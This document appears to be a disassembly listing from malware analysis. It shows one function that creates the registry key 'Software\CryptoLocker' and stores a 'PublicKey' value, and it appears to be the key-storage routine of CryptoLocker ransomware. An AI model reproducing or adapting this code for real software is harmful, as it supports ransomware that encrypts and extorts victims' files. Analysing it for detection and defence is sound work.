Function at 0x40f3d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ecx, dword [edi + 8]
test ecx, ecx
je 0x40f64d
mov eax, dword [edi + 4]
lea edx, [eax + ecx]
xor ecx, ecx
cmp eax, edx
jae 0x40f64d
lea ebx, [ebx]
cmp byte [eax], 0
jne 0x40f40b
inc ecx
cmp ecx, 2
je 0x40f41b
inc eax
cmp eax, edx
jb 0x40f400
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
inc eax
cmp eax, edx
sbb esi, esi
and esi, eax
je 0x40f64d
lea eax, [ebp + 0xc]
push eax
mov edx, 0x7fffffff
mov ecx, esi
call fcn.0040c250
test eax, eax
jne 0x40f64d
mov edx, dword [ebp + 0xc]
lea eax, [edx - 0x40]
cmp eax, 0x3c0
ja 0x40f64d
push 0
push 8
push ecx
mov ecx, esi
call fcn.00404ba0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40f64d
push esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
call fcn.00404720
push esi
mov bl, al
call dword [sym.imp.KERNEL32.dll_LocalFree]
test bl, bl
je 0x40f629
lea eax, [ebp - 8]
push eax
push 6
lea ecx, [ebp - 0x14]
call fcn.004047c0
test al, al
je 0x40f629
lea ecx, [ebp - 0x14]
call fcn.00404690
mov esi, dword [0x4160e0]
add esi, 0x38
mov ecx, esi
mov dword [ebp - 0x18], esi
xor bl, bl
call fcn.00410350
test al, al
mov eax, dword [ebp - 8]
je 0x40f60b
push 0
lea eax, [ebp - 0x190]
push eax
mov ecx, esi
call fcn.00410370
mov ecx, dword [edi + 8]
test ecx, ecx
je 0x40f510
mov eax, dword [edi + 4]
lea edx, [eax + ecx]
xor ecx, ecx
cmp eax, edx
jae 0x40f510
lea ebx, [ebx]
cmp byte [eax], 0
jne 0x40f50b
inc ecx
cmp ecx, 3
je 0x40f54a
inc eax
cmp eax, edx
jb 0x40f500
xor esi, esi
mov edx, 0x7fffffff
mov ecx, esi
call fcn.0040c3e0
cmp eax, 0x1b
jl 0x40f553
cmp eax, 0x22
ja 0x40f553
test esi, esi
push ecx
mov eax, 0x412750
cmovne eax, esi
push eax
lea eax, [ebp + 0xc]
push eax
mov edx, 0x23
lea ecx, [ebp - 0x151]
call fcn.0040c310
jmp 0x40f586
inc eax
cmp eax, edx
sbb esi, esi
and esi, eax
jmp 0x40f512
xorps xmm0, xmm0
movq qword [ebp - 0x151], xmm0
movq qword [ebp - 0x149], xmm0
movq qword [ebp - 0x141], xmm0
movq qword [ebp - 0x139], xmm0
mov word [ebp - 0x131], 0
mov byte [ebp - 0x12f], 0
push ecx
lea eax, [ebp - 0x190]
push eax
call fcn.004104f0
mov bl, byte [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp + 0xc]
push eax
push 0
push 0x103
push 0
push 0
push 0
push str.SoftwareCryptoLocker
and bl, 0xfe
push 0x80000001
or bl, 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, eax
test edi, edi
jne 0x40f5fa
push dword [ebp - 4]
mov esi, dword [ebp + 0xc]
push dword [ebp - 8]
push 3
push eax
push str.PublicKey
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test esi, esi
je 0x40f5f8
test bl, 1
je 0x40f5f1
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
mov eax, dword [ebp - 0x18]
sete bl
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 8]
test eax, eax
je 0x40f61e
push eax
push 0
push dword [0x41623c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [ebp - 0x14], 1
ja 0x40f64d
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x40f63d
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40f64d
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8